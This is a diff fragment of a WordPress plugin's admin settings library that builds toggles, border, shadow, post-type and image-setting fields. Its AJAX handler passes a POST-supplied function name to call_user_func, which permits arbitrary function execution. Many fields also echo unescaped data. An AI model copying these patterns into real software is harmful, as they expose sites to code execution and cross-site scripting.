echo "<div class='wpdreamsOnOff'>";
|
786 |
+
echo "<label for='wpdreamstext_" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
787 |
+
echo "<a class='wpdreamsonoff" . (($this->data == 1) ? " on" : " off") . "' id='wpdreamsonoff_" . self::$_instancenumber . "' name='" . $this->name . "_onoff'>" . (($this->data == 1) ? "ON" : "OFF") . "</a>";
|
788 |
+
echo "<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
|
789 |
+
echo "<div class='triggerer'></div>
|
790 |
+
</div>";
|
791 |
+
}
|
792 |
+
}
|
793 |
+
}
|
794 |
+
|
795 |
+
|
796 |
+
if (!class_exists("wpdreamsYesNo")) {
|
797 |
+
class wpdreamsYesNo extends wpdreamsType {
|
798 |
+
function getType() {
|
799 |
+
parent::getType();
|
800 |
+
echo "<div class='wpdreamsYesNo'>";
|
801 |
+
echo "<label for='wpdreamstext_" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
802 |
+
echo "<a class='wpdreamsyesno" . (($this->data == 1) ? " yes" : " no") . "' id='wpdreamsyesno_" . self::$_instancenumber . "' name='" . $this->name . "_yesno'>" . (($this->data == 1) ? "YES" : "NO") . "</a>";
|
803 |
+
echo "<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
|
804 |
+
echo "<div class='triggerer'></div>
|
805 |
+
</div>";
|
806 |
+
}
|
807 |
+
}
|
808 |
+
}
|
809 |
+
|
810 |
+
if (!class_exists("wpdreamsImageRadio")) {
|
811 |
+
class wpdreamsImageRadio extends wpdreamsType {
|
812 |
+
function getType() {
|
813 |
+
parent::getType();
|
814 |
+
$this->processData();
|
815 |
+
echo "<div class='wpdreamsImageRadio'>";
|
816 |
+
echo "<span class='radioimage'>" . $this->label . "</span>";
|
817 |
+
|
818 |
+
foreach ($this->selects as $radio) {
|
819 |
+
$radio = trim($radio);
|
820 |
+
echo "
|
821 |
+
<img src='".plugins_url().$radio."' class='radioimage".(($radio==trim($this->selected))?' selected':'')."'/>
|
822 |
+
";
|
823 |
+
}
|
824 |
+
echo "<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
|
825 |
+
echo "<div class='triggerer'></div>
|
826 |
+
</div>";
|
827 |
+
}
|
828 |
+
function processData() {
|
829 |
+
//$this->data = str_replace("\n","",$this->data);
|
830 |
+
$_temp = explode("||", $this->data);
|
831 |
+
$this->selects = explode(";", $_temp[0]);
|
832 |
+
$this->selected = trim($_temp[1]);
|
833 |
+
}
|
834 |
+
final function getData() {
|
835 |
+
return $this->data;
|
836 |
+
}
|
837 |
+
final function getSelected() {
|
838 |
+
return $this->selected;
|
839 |
+
}
|
840 |
+
}
|
841 |
+
}
|
842 |
+
|
843 |
+
|
844 |
+
if (!class_exists("wpdreamsBoxShadow")) {
|
845 |
+
class wpdreamsBoxShadow extends wpdreamsType {
|
846 |
+
function getType() {
|
847 |
+
parent::getType();
|
848 |
+
$this->processData();
|
849 |
+
echo "
|
850 |
+
<div class='wpdreamsBoxShadow'>
|
851 |
+
<fieldset>
|
852 |
+
<legend>" . $this->label . "</legend>";
|
853 |
+
echo "
|
854 |
+
<label>Inset</label><select class='smaller' name='_xx_inset_xx_'>
|
855 |
+
<option value='' ".(($this->inset=='')?'selected="selected"':'').">None</option>
|
856 |
+
<option value='inset' ".(($this->inset=='inset')?'selected="selected"':'').">Inset</option>
|
857 |
+
</select><br><br>
|
858 |
+
<label>Vertical offset</label><input type='text' class='twodigit' name='_xx_hlength_xx_' value='".$this->hlength."' />px
|
859 |
+
<label>Horizontal offset</label><input type='text' class='twodigit' name='_xx_vlength_xx_' value='".$this->vlength."' />px
|
860 |
+
<label>Blur radius</label><input type='text' class='twodigit' name='_xx_blurradius_xx_' value='".$this->blurradius."' />px
|
861 |
+
<label>Spread</label><input type='text' class='twodigit' name='_xx_spread_xx_' value='".$this->spread."' />px<br><br>
|
862 |
+
";
|
863 |
+
new wpdreamsColorPickerDummy("_xx_color_xx_", "Shadow color", (isset($this->color) ? $this->color : "#000000"));
|
864 |
+
echo "
|
865 |
+
<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>
|
866 |
+
<div class='triggerer'></div>
|
867 |
+
</fieldset>
|
868 |
+
</div>";
|
869 |
+
}
|
870 |
+
function processData() {
|
871 |
+
$this->data = str_replace("\n", "", $this->data);
|
872 |
+
preg_match("/box-shadow:(.*?)px (.*?)px (.*?)px (.*?)px (.*?) (.*?);/", $this->data, $matches);
|
873 |
+
$this->inset = $matches[6];
|
874 |
+
$this->hlength = $matches[1];
|
875 |
+
$this->vlength = $matches[2];
|
876 |
+
$this->blurradius = $matches[3];
|
877 |
+
$this->spread = $matches[4];
|
878 |
+
$this->color = $matches[5];
|
879 |
+
}
|
880 |
+
final function getData() {
|
881 |
+
return $this->data;
|
882 |
+
}
|
883 |
+
final function getCss() {
|
884 |
+
return $this->css;
|
885 |
+
}
|
886 |
+
}
|
887 |
+
}
|
888 |
+
|
889 |
+
|
890 |
+
if (!class_exists("wpdreamsBorder")) {
|
891 |
+
class wpdreamsBorder extends wpdreamsType {
|
892 |
+
function getType() {
|
893 |
+
parent::getType();
|
894 |
+
$this->processData();
|
895 |
+
echo "
|
896 |
+
<div class='wpdreamsBorder'>
|
897 |
+
<fieldset>
|
898 |
+
<legend>" . $this->label . "</legend>";
|
899 |
+
echo "
|
900 |
+
<label>Border Style</label><select class='smaller' name='_xx_style_xx_'>
|
901 |
+
<option value='none' ".(($this->style=='none')?'selected="selected"':'').">None</option>
|
902 |
+
<option value='hidden' ".(($this->style=='hidden')?'selected="selected"':'').">Hidden</option>
|
903 |
+
<option value='dotted' ".(($this->style=='dotted')?'selected="selected"':'').">Dotted</option>
|
904 |
+
<option value='dashed' ".(($this->style=='dashed')?'selected="selected"':'').">Dashed</option>
|
905 |
+
<option value='solid' ".(($this->style=='solid')?'selected="selected"':'').">Solid</option>
|
906 |
+
<option value='double' ".(($this->style=='double')?'selected="selected"':'').">Double</option>
|
907 |
+
<option value='groove' ".(($this->style=='groove')?'selected="selected"':'').">Groove</option>
|
908 |
+
<option value='groove' ".(($this->style=='groove')?'selected="selected"':'').">Ridge</option>
|
909 |
+
<option value='inset' ".(($this->style=='inset')?'selected="selected"':'').">Inset</option>
|
910 |
+
<option value='outset' ".(($this->style=='outset')?'selected="selected"':'').">Outset</option>
|
911 |
+
</select><br><br>
|
912 |
+
<label>Border Width</label><input type='text' class='twodigit' name='_xx_width_xx_' value='".$this->width."' />px
|
913 |
+
<br><br>";
|
914 |
+
new wpdreamsColorPickerDummy("_xx_color_xx_", "Border color", (isset($this->color) ? $this->color : "#000000"));
|
915 |
+
echo "<span style='margin-right:550px;color:#222;'>Border Radius Options:</span><br><br>
|
916 |
+
<label>Top-Left</label><input type='text' class='twodigit' name='_xx_topleft_xx_' value='".$this->topleft."' />px
|
917 |
+
<label>Top-Right</label><input type='text' class='twodigit' name='_xx_topright_xx_' value='".$this->topright."' />px
|
918 |
+
<label>Bottom-Right</label><input type='text' class='twodigit' name='_xx_bottomright_xx_' value='".$this->bottomright."' />px
|
919 |
+
<label>Bottom-Left</label><input type='text' class='twodigit' name='_xx_bottomleft_xx_' value='".$this->bottomleft."' />px
|
920 |
+
";
|
921 |
+
|
922 |
+
echo "
|
923 |
+
<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>
|
924 |
+
<div class='triggerer'></div>
|
925 |
+
</fieldset>
|
926 |
+
</div>";
|
927 |
+
}
|
928 |
+
function processData() {
|
929 |
+
$this->data = str_replace("\n", "", $this->data);
|
930 |
+
|
931 |
+
preg_match("/border-radius:(.*?)px(.*?)px(.*?)px(.*?)px;/", $this->data, $matches);
|
932 |
+
$this->topleft = $matches[1];
|
933 |
+
$this->topright = $matches[2];
|
934 |
+
$this->bottomright = $matches[3];
|
935 |
+
$this->bottomleft = $matches[4];
|
936 |
+
|
937 |
+
preg_match("/border:(.*?)px (.*?) (.*?);/", $this->data, $matches);
|
938 |
+
$this->width = $matches[1];
|
939 |
+
$this->style = $matches[2];
|
940 |
+
$this->color = $matches[3];
|
941 |
+
|
942 |
+
}
|
943 |
+
final function getData() {
|
944 |
+
return $this->data;
|
945 |
+
}
|
946 |
+
final function getCss() {
|
947 |
+
return $this->css;
|
948 |
+
}
|
949 |
+
}
|
950 |
+
}
|
951 |
+
|
952 |
+
|
953 |
+
if (!class_exists("wpdreamsBorderRadius")) {
|
954 |
+
class wpdreamsBorderRadius extends wpdreamsType {
|
955 |
+
function getType() {
|
956 |
+
parent::getType();
|
957 |
+
$this->processData();
|
958 |
+
echo "
|
959 |
+
<div class='wpdreamsBorderRadius'>
|
960 |
+
<fieldset>
|
961 |
+
<legend>" . $this->label . "</legend>";
|
962 |
+
echo "
|
963 |
+
<label>Top Left</label><input type='text' class='twodigit' name='topleft' value='".$this->topleft."' />px
|
964 |
+
<label>Top Right</label><input type='text' class='twodigit' name='topright' value='".$this->topright."' />px
|
965 |
+
<label>Bottom Right</label><input type='text' class='twodigit' name='bottomright' value='".$this->bottomright."' />px
|
966 |
+
<label>Bottom Left</label><input type='text' class='twodigit' name='bottomleft' value='".$this->bottomleft."' />px<br><br>
|
967 |
+
";
|
968 |
+
echo "
|
969 |
+
<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>
|
970 |
+
<div class='triggerer'></div>
|
971 |
+
</fieldset>
|
972 |
+
</div>";
|
973 |
+
}
|
974 |
+
function processData() {
|
975 |
+
$this->data = str_replace("\n", "", $this->data);
|
976 |
+
preg_match("/border-radius:(.*?)px(.*?)px(.*?)px(.*?)px;/", $this->data, $matches);
|
977 |
+
$this->topleft = $matches[1];
|
978 |
+
$this->topright = $matches[2];
|
979 |
+
$this->bottomright = $matches[3];
|
980 |
+
$this->bottomleft = $matches[4];
|
981 |
+
//$this->css = "border-radius:".$this->topleft."px ".$this->topright."px ".$this->bottomright."px ".$this->bottomleft."px;";
|
982 |
+
}
|
983 |
+
final function getData() {
|
984 |
+
return $this->data;
|
985 |
+
}
|
986 |
+
/*final function getCss() {
|
987 |
+
return $this->css;
|
988 |
+
}*/
|
989 |
+
}
|
990 |
+
}
|
991 |
+
|
992 |
+
if (!class_exists("wpdreamsCustomPostTypes")) {
|
993 |
+
class wpdreamsCustomPostTypes extends wpdreamsType {
|
994 |
+
function getType() {
|
995 |
+
parent::getType();
|
996 |
+
$this->processData();
|
997 |
+
$this->types = get_post_types(array(
|
998 |
+
'_builtin'=>false
|
999 |
+
));
|
1000 |
+
echo "
|
1001 |
+
<div class='wpdreamsCustomPostTypes'>
|
1002 |
+
<fieldset>
|
1003 |
+
<legend>" . $this->label . "</legend>";
|
1004 |
+
echo '<div class="sortablecontainer">Available post types<ul id="sortable'.self::$_instancenumber.'" class="connectedSortable">';
|
1005 |
+
if ($this->types!=null && is_array($this->types)) {
|
1006 |
+
foreach($this->types as $k=>$v) {
|
1007 |
+
if ($this->selected==null || !in_array($v, $this->selected)) {
|
1008 |
+
echo '<li class="ui-state-default">'.$k.'</li>';
|
1009 |
+
}
|
1010 |
+
}
|
1011 |
+
}
|
1012 |
+
echo "</ul></div>";
|
1013 |
+
echo '<div class="sortablecontainer">Drag here the post types you want to use!<ul id="sortable_conn'.self::$_instancenumber.'" class="connectedSortable">';
|
1014 |
+
if ($this->selected!=null && is_array($this->selected)) {
|
1015 |
+
foreach($this->selected as $k=>$v) {
|
1016 |
+
echo '<li class="ui-state-default">'.$v.'</li>';
|
1017 |
+
}
|
1018 |
+
}
|
1019 |
+
echo "</ul></div>";
|
1020 |
+
echo "
|
1021 |
+
<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
|
1022 |
+
?>
|
1023 |
+
<script>
|
1024 |
+
(function($) {
|
1025 |
+
$(document).ready(function() {
|
1026 |
+
$( "#sortable<?php echo self::$_instancenumber ?>, #sortable_conn<?php echo self::$_instancenumber ?>" ).sortable({
|
1027 |
+
connectWith: ".connectedSortable"
|
1028 |
+
}, {
|
1029 |
+
update: function(event, ui) {
|
1030 |
+
parent = $(ui.item).parent();
|
1031 |
+
while(!parent.hasClass('wpdreamsCustomPostTypes')) {
|
1032 |
+
parent=$(parent).parent();
|
1033 |
+
}
|
1034 |
+
var items = $('ul[id*=sortable_conn] li',parent);
|
1035 |
+
var hidden = $('input[type=hidden]', parent);
|
1036 |
+
console.log(items, hidden);
|
1037 |
+
var val = "";
|
1038 |
+
items.each(function(){
|
1039 |
+
val+= "|"+$(this).html();
|
1040 |
+
});
|
1041 |
+
val = val.substring(1);
|
1042 |
+
hidden.val(val);
|
1043 |
+
}
|
1044 |
+
}).disableSelection();
|
1045 |
+
});
|
1046 |
+
}(jQuery));
|
1047 |
+
</script>
|
1048 |
+
<?php
|
1049 |
+
echo "
|
1050 |
+
</fieldset>
|
1051 |
+
</div>";
|
1052 |
+
}
|
1053 |
+
function processData() {
|
1054 |
+
$this->data = str_replace("\n", "", $this->data);
|
1055 |
+
if ($this->data!="")
|
1056 |
+
$this->selected = explode("|", $this->data);
|
1057 |
+
else
|
1058 |
+
$this->selected = null;
|
1059 |
+
//$this->css = "border-radius:".$this->topleft."px ".$this->topright."px ".$this->bottomright."px ".$this->bottomleft."px;";
|
1060 |
+
}
|
1061 |
+
final function getData() {
|
1062 |
+
return $this->data;
|
1063 |
+
}
|
1064 |
+
final function getSelected() {
|
1065 |
+
return $this->selected;
|
1066 |
+
}
|
1067 |
+
}
|
1068 |
+
}
|
1069 |
+
|
1070 |
+
if (!class_exists("wpdreamsCustomPostTypesEditable")) {
|
1071 |
+
class wpdreamsCustomPostTypesEditable extends wpdreamsType {
|
1072 |
+
function getType() {
|
1073 |
+
parent::getType();
|
1074 |
+
$this->processData();
|
1075 |
+
$this->types = get_post_types(array(
|
1076 |
+
'_builtin'=>false
|
1077 |
+
));
|
1078 |
+
echo "
|
1079 |
+
<div class='wpdreamsCustomPostTypesEditable'>
|
1080 |
+
<fieldset>
|
1081 |
+
<legend>" . $this->label . "</legend>";
|
1082 |
+
echo '<div class="sortablecontainer">Available post types<ul id="sortable'.self::$_instancenumber.'" class="connectedSortable">';
|
1083 |
+
if ($this->types!=null && is_array($this->types)) {
|
1084 |
+
foreach($this->types as $k=>$v) {
|
1085 |
+
if ($this->selected==null || !in_array_r($v, $this->selected)) {
|
1086 |
+
echo '<li class="ui-state-default" style="background: #ddd;">
|
1087 |
+
<span>'.$k.'</span><br>
|
1088 |
+
<input type="text" value="'.$k.'"/>
|
1089 |
+
</li>';
|
1090 |
+
}
|
1091 |
+
}
|
1092 |
+
}
|
1093 |
+
echo "</ul></div>";
|
1094 |
+
echo '<div class="sortablecontainer">Drag here the post types you want to use!<ul id="sortable_conn'.self::$_instancenumber.'" class="connectedSortable">';
|
1095 |
+
if ($this->selected!=null && is_array($this->selected)) {
|
1096 |
+
foreach($this->selected as $k=>$v) {
|
1097 |
+
echo '<li class="ui-state-default" style="background: #ddd;">
|
1098 |
+
<span>'.$v[0].'</span><br>
|
1099 |
+
<input type="text" value="'.$v[1].'"/>
|
1100 |
+
</li>';
|
1101 |
+
}
|
1102 |
+
}
|
1103 |
+
echo "</ul></div>";
|
1104 |
+
echo "
|
1105 |
+
<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
|
1106 |
+
?>
|
1107 |
+
<script>
|
1108 |
+
(function($) {
|
1109 |
+
$(document).ready(function() {
|
1110 |
+
$("#sortable_conn<?php echo self::$_instancenumber ?> li input" ).keyup(function() {
|
1111 |
+
parent = $(this).parent();
|
1112 |
+
while(!parent.hasClass('wpdreamsCustomPostTypesEditable')) {
|
1113 |
+
parent=$(parent).parent();
|
1114 |
+
}
|
1115 |
+
var items = $('ul[id*=sortable_conn] li',parent);
|
1116 |
+
var hidden = $('input[type=hidden]', parent);
|
1117 |
+
var val = "";
|
1118 |
+
console.log(hidden, items);
|
1119 |
+
items.each(function(){
|
1120 |
+
val+= "|"+$('span', this).html()+";"+$('input', this).val();
|
1121 |
+
});
|
1122 |
+
val = val.substring(1);
|
1123 |
+
hidden.val(val);
|
1124 |
+
});
|
1125 |
+
$( "#sortable<?php echo self::$_instancenumber ?>, #sortable_conn<?php echo self::$_instancenumber ?>" ).sortable({
|
1126 |
+
connectWith: ".connectedSortable"
|
1127 |
+
}, {
|
1128 |
+
update: function(event, ui) {
|
1129 |
+
$("#sortable_conn<?php echo self::$_instancenumber ?> li input" ).keyup(function() {
|
1130 |
+
parent = $(this).parent();
|
1131 |
+
while(!parent.hasClass('wpdreamsCustomPostTypesEditable')) {
|
1132 |
+
parent=$(parent).parent();
|
1133 |
+
}
|
1134 |
+
var items = $('ul[id*=sortable_conn] li',parent);
|
1135 |
+
var hidden = $('input[type=hidden]', parent);
|
1136 |
+
var val = "";
|
1137 |
+
console.log(hidden, items);
|
1138 |
+
items.each(function(){
|
1139 |
+
val+= "|"+$('span', this).html()+";"+$('input', this).val();
|
1140 |
+
});
|
1141 |
+
val = val.substring(1);
|
1142 |
+
hidden.val(val);
|
1143 |
+
});
|
1144 |
+
$("#sortable_conn<?php echo self::$_instancenumber ?> li input" ).keyup();
|
1145 |
+
}
|
1146 |
+
});
|
1147 |
+
});
|
1148 |
+
|
1149 |
+
}(jQuery));
|
1150 |
+
</script>
|
1151 |
+
<?php
|
1152 |
+
echo "
|
1153 |
+
</fieldset>
|
1154 |
+
</div>";
|
1155 |
+
}
|
1156 |
+
function processData() {
|
1157 |
+
$this->data = str_replace("\n", "", $this->data);
|
1158 |
+
if ($this->data!="") {
|
1159 |
+
$this->_t = explode("|", $this->data);
|
1160 |
+
foreach($this->_t as $k=>$v) {
|
1161 |
+
$this->selected[] = explode(';', $v);
|
1162 |
+
}
|
1163 |
+
} else {
|
1164 |
+
$this->selected = null;
|
1165 |
+
}
|
1166 |
+
}
|
1167 |
+
final function getData() {
|
1168 |
+
return $this->data;
|
1169 |
+
}
|
1170 |
+
final function getSelected() {
|
1171 |
+
return $this->selected;
|
1172 |
+
}
|
1173 |
+
}
|
1174 |
+
}
|
1175 |
+
|
1176 |
+
if (!class_exists("wpdreamsImageSettings")) {
|
1177 |
+
class wpdreamsImageSettings extends wpdreamsType {
|
1178 |
+
function getType() {
|
1179 |
+
parent::getType();
|
1180 |
+
$this->processData();
|
1181 |
+
echo "
|
1182 |
+
<div class='wpdreamsImageSettings'>
|
1183 |
+
<fieldset>
|
1184 |
+
<legend>" . $this->label . "</legend>";
|
1185 |
+
new wpdreamsYesNo("show", "Show Images", $this->show);
|
1186 |
+
echo "<br><br>";
|
1187 |
+
new wpdreamsYesNo("cache", "Cache Images", $this->cache);
|
1188 |
+
echo "
|
1189 |
+
<br><br>
|
1190 |
+
<label>Use post featured image</label><select class='smaller' name='featured'>
|
1191 |
+
<option value='-1' ".(($this->featured==-1)?'selected="selected"':'').">Don't use</option>
|
1192 |
+
<option value='0' ".(($this->featured==0)?'selected="selected"':'').">High Priority</option>
|
1193 |
+
<option value='1' ".(($this->featured==1)?'selected="selected"':'').">Medium Priority</option>
|
1194 |
+
<option value='2' ".(($this->featured==2)?'selected="selected"':'').">Low Priority</option>
|
1195 |
+
</select><br><br>
|
1196 |
+
<label>Search for images in post content</label><select class='smaller' name='content'>
|
1197 |
+
<option value='-1' ".(($this->content==-1)?'selected="selected"':'').">Don't use</option>
|
1198 |
+
<option value='0' ".(($this->content==0)?'selected="selected"':'').">High Priority</option>
|
1199 |
+
<option value='1' ".(($this->content==1)?'selected="selected"':'').">Medium Priority</option>
|
1200 |
+
<option value='2' ".(($this->content==2)?'selected="selected"':'').">Low Priority</option>
|
1201 |
+
</select><br><br>
|
1202 |
+
<label>Search for images in post excerpt</label><select class='smaller' name='excerpt'>
|
1203 |
+
<option value='-1' ".(($this->excerpt==-1)?'selected="selected"':'').">Don't use</option>
|
1204 |
+
<option value='0' ".(($this->excerpt==0)?'selected="selected"':'').">High Priority</option>
|
1205 |
+
<option value='1' ".(($this->excerpt==1)?'selected="selected"':'').">Medium Priority</option>
|
1206 |
+
<option value='2' ".(($this->excerpt==2)?'selected="selected"':'').">Low Priority</option>
|
1207 |
+
</select><br><br>
|
1208 |
+
<label>Use the </label><select class='smaller' name='imagenum'>
|
1209 |
+
<option value='1' ".(($this->imagenum==1)?'selected="selected"':'').">1. found image</option>
|
1210 |
+
<option value='2' ".(($this->imagenum==2)?'selected="selected"':'').">2. found image</option>
|
1211 |
+
<option value='3' ".(($this->imagenum==3)?'selected="selected"':'').">3. found image</option>
|
1212 |
+
</select><br><br>
|
1213 |
+
<label>Image Size:</label>
|
1214 |
+
<span style='color:#888;font-size:0.9em'>Width </span><input class='threedigit' param=0 type='text' value='".$this->width."' name='width' /><span style='color:#888;font-size:0.9em;margin-right:10px;'> px</span>
|
1215 |
+
<span style='color:#888;font-size:0.9em'>Height </span><input class='threedigit' param=0 type='text' value='".$this->height."' name='height' /><span style='color:#888;font-size:0.9em;margin-right:10px;'> px</span>
|
1216 |
+
";
|
1217 |
+
echo "
|
1218 |
+
<input type='hidden' param=1 value='" . $this->data . "' name='" . $this->name . "'>
|
1219 |
+
<div class='triggerer'></div>
|
1220 |
+
</fieldset>
|
1221 |
+
</div>";
|
1222 |
+
}
|
1223 |
+
function processData() {
|
1224 |
+
$this->data = str_replace("\n", "", $this->data);
|
1225 |
+
preg_match("/show:(.*?);/", $this->data, $matches);
|
1226 |
+
$this->show = $matches[1];
|
1227 |
+
preg_match("/cache:(.*?);/", $this->data, $matches);
|
1228 |
+
$this->cache = $matches[1];
|
1229 |
+
preg_match("/featured:(.*?);/", $this->data, $matches);
|
1230 |
+
$this->featured = $matches[1];
|
1231 |
+
preg_match("/content:(.*?);/", $this->data, $matches);
|
1232 |
+
$this->content = $matches[1];
|
1233 |
+
preg_match("/excerpt:(.*?);/", $this->data, $matches);
|
1234 |
+
$this->excerpt= $matches[1];
|
1235 |
+
preg_match("/imagenum:(.*?);/", $this->data, $matches);
|
1236 |
+
$this->imagenum = $matches[1];
|
1237 |
+
preg_match("/width:(.*?);/", $this->data, $matches);
|
1238 |
+
$this->width = $matches[1];
|
1239 |
+
preg_match("/height:(.*?);/", $this->data, $matches);
|
1240 |
+
$this->height = $matches[1];
|
1241 |
+
$this->ret = array();
|
1242 |
+
$this->ret['show'] = $this->show;
|
1243 |
+
$this->ret['cache'] = $this->cache;
|
1244 |
+
$this->ret['width'] = $this->width;
|
1245 |
+
$this->ret['height'] = $this->height;
|
1246 |
+
$this->ret['imagenum'] = $this->imagenum;
|
1247 |
+
$this->ret['from'] = array(
|
1248 |
+
$this->featured=>"featured",
|
1249 |
+
$this->content=>"content",
|
1250 |
+
$this->excerpt=>"excerpt"
|
1251 |
+
);
|
1252 |
+
}
|
1253 |
+
final function getData() {
|
1254 |
+
return $this->data;
|
1255 |
+
}
|
1256 |
+
final function getSettings() {
|
1257 |
+
return $this->ret;
|
1258 |
+
}
|
1259 |
+
}
|
1260 |
+
}
|
1261 |
+
|
1262 |
+
if (!class_exists("wpdreamsThemeChooser")) {
|
1263 |
+
class wpdreamsThemeChooser extends wpdreamsType {
|
1264 |
+
function getType() {
|
1265 |
+
parent::getType();
|
1266 |
+
echo "
|
1267 |
+
<div class='wpdreamsThemeChooser'>
|
1268 |
+
<fieldset style='background:#eee'>
|
1269 |
+
<label style='color:#333' for='wpdreamsThemeChooser_'" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
1270 |
+
$decodedData = json_decode($this->data);
|
1271 |
+
echo "<select id='wpdreamsThemeChooser_" . self::$_instancenumber . "'>
|
1272 |
+
<option value=''>Select</option>";
|
1273 |
+
foreach ($decodedData as $name=>$theme) {
|
1274 |
+
echo "<option value='".$name."'>".$name."</option>";
|
1275 |
+
}
|
1276 |
+
echo "</select>";
|
1277 |
+
foreach ($decodedData as $name=>$theme) {
|
1278 |
+
echo "<div name='".$name."' style='display:none;'>";
|
1279 |
+
foreach ($theme as $pname=>$param) {
|
1280 |
+
echo "<p paramname='".$pname."'>".$param."</p>";
|
1281 |
+
}
|
1282 |
+
echo "</div>";
|
1283 |
+
}
|
1284 |
+
echo "
|
1285 |
+
<span></span></fieldset>
|
1286 |
+
</div>";
|
1287 |
+
}
|
1288 |
+
}
|
1289 |
+
}
|
1290 |
+
if (!class_exists("wpdreamsColorPicker")) {
|
1291 |
+
class wpdreamsColorPicker extends wpdreamsType {
|
1292 |
+
function getType() {
|
1293 |
+
$this->name = $this->name . "_colorpicker";
|
1294 |
+
parent::getType();
|
1295 |
+
echo "<div class='wpdreamsColorPicker'>";
|
1296 |
+
if ($this->label != "")
|
1297 |
+
echo "<label for='wpdreamscolorpicker_" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
1298 |
+
echo "<input type='text' class='color' name='" . $this->name . "' id='wpdreamscolorpicker_" . self::$_instancenumber . "' value='" . $this->data . "' />";
|
1299 |
+
echo "<input type='button' class='wpdreamscolorpicker button-secondary' value='Select Color'>";
|
1300 |
+
echo "<div class='' style='z-index: 100; background:#eee; border:1px solid #ccc; position:absolute; display:none;'></div>";
|
1301 |
+
echo "<div class='triggerer'></div>
|
1302 |
+
</div>";
|
1303 |
+
}
|
1304 |
+
}
|
1305 |
+
}
|
1306 |
+
|
1307 |
+
if (!class_exists("wpdreamsColorPickerDummy")) {
|
1308 |
+
class wpdreamsColorPickerDummy extends wpdreamsType {
|
1309 |
+
function getType() {
|
1310 |
+
$this->name = $this->name . "_colorpicker";
|
1311 |
+
echo "<div class='wpdreamsColorPicker'>";
|
1312 |
+
if ($this->label != "")
|
1313 |
+
echo "<label for='wpdreamscolorpicker_" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
1314 |
+
echo "<input type='text' class='color' name='" . $this->name . "' id='wpdreamscolorpicker_" . self::$_instancenumber . "' value='" . $this->data . "' />";
|
1315 |
+
echo "<input type='button' class='wpdreamscolorpicker button-secondary' value='Select Color'>";
|
1316 |
+
echo "<div class='' style='z-index: 100; background:#eee; border:1px solid #ccc; position:absolute; display:none;'></div>";
|
1317 |
+
echo "<div class='triggerer'></div>
|
1318 |
+
</div>";
|
1319 |
+
}
|
1320 |
+
}
|
1321 |
+
}
|
1322 |
+
|
1323 |
+
add_action('admin_print_styles', 'admin_stylesV02t');
|
1324 |
+
add_action('admin_enqueue_scripts', 'admin_scriptsV02t');
|
1325 |
+
add_action('wp_ajax_wpdreams-ajaxinput', "ajaxinputcallback");
|
1326 |
+
if (!function_exists("ajaxinputcallback")) {
|
1327 |
+
function ajaxinputcallback() {
|
1328 |
+
$param = $_POST;
|
1329 |
+
echo call_user_func($_POST['callback'], $param);
|
1330 |
+
exit;
|
1331 |
+
}
|
1332 |
+
}
|
1333 |
+
function admin_scriptsV02t() {
|
1334 |
+
wp_enqueue_script('jquery');
|
1335 |
+
wp_enqueue_script('media-upload');
|
1336 |
+
wp_enqueue_script('thickbox');
|
1337 |
+
wp_enqueue_script('farbtastic', array(
|
1338 |
+
'wpdreams-jquerytooltip'
|
1339 |
+
));
|
1340 |
+
wp_register_script('wpdreams-others', plugin_dir_url(__FILE__) . '/types/others.js', array(
|
1341 |
+
'jquery',
|
1342 |
+
'thickbox',
|
1343 |
+
'farbtastic',
|
1344 |
+
'wpdreams-notytheme'
|
1345 |
+
));
|
1346 |
+
wp_enqueue_script('wpdreams-others');
|
1347 |
+
wp_enqueue_script('jquery-ui-tabs');
|
1348 |
+
wp_enqueue_script('jquery-ui-sortable');
|
1349 |
+
wp_enqueue_script('jquery-ui-draggable');
|
1350 |
+
wp_register_script('wpdreams-upload', plugin_dir_url(__FILE__) . '/types/upload.js', array(
|
1351 |
+
'jquery',
|
1352 |
+
'media-upload',
|
1353 |
+
'thickbox'
|
1354 |
+
));
|
1355 |
+
wp_enqueue_script('wpdreams-upload');
|
1356 |
+
wp_register_script('wpdreams-noty', plugin_dir_url(__FILE__) . '/types/js/noty/jquery.noty.js', array(
|
1357 |
+
'jquery'
|
1358 |
+
));
|
1359 |
+
wp_enqueue_script('wpdreams-noty');
|
1360 |
+
wp_register_script('wpdreams-notylayout', plugin_dir_url(__FILE__) . '/types/js/noty/layouts/top.js', array(
|
1361 |
+
'wpdreams-noty'
|
1362 |
+
));
|
1363 |
+
wp_enqueue_script('wpdreams-notylayout');
|
1364 |
+
wp_register_script('wpdreams-notytheme', plugin_dir_url(__FILE__) . '/types/js/noty/themes/default.js', array(
|
1365 |
+
'wpdreams-noty'
|
1366 |
+
));
|
1367 |
+
wp_enqueue_script('wpdreams-notytheme');
|
1368 |
+
wp_register_script('wpdreams-jquerytooltip', 'http://cdn.jquerytools.org/1.2.7/all/jquery.tools.min.js', array(
|
1369 |
+
'jquery'
|
1370 |
+
));
|
1371 |
+
wp_enqueue_script('wpdreams-jquerytooltip');
|
1372 |
+
}
|
1373 |
+
function admin_stylesV02t() {
|
1374 |
+
wp_enqueue_style('thickbox');
|
1375 |
+
wp_enqueue_style('farbtastic');
|
1376 |
+
wp_register_style('wpdreams-jqueryui', 'http://code.jquery.com/ui/1.9.1/themes/base/jquery-ui.css');
|
1377 |
+
wp_enqueue_style('wpdreams-jqueryui');
|
1378 |
+
wp_register_style('wpdreams-style', plugin_dir_url(__FILE__) . '/types/style.css');
|
1379 |
+
wp_enqueue_style('wpdreams-style');
|
1380 |
+
}
|
1381 |
+
/* Extra Functions */
|
1382 |
+
if (!function_exists("isEmpty")) {
|
1383 |
+
function isEmpty($v) {
|
1384 |
+
if (trim($v) != "")
|
1385 |
+
return false;
|
1386 |
+
else
|
1387 |
+
return true;
|
1388 |
+
}
|
1389 |
+
}
|
1390 |
+
|
1391 |
+
if (!function_exists("in_array_r")) {
|
1392 |
+
function in_array_r($needle, $haystack, $strict = true) {
|
1393 |
+
foreach ($haystack as $item) {
|
1394 |
+
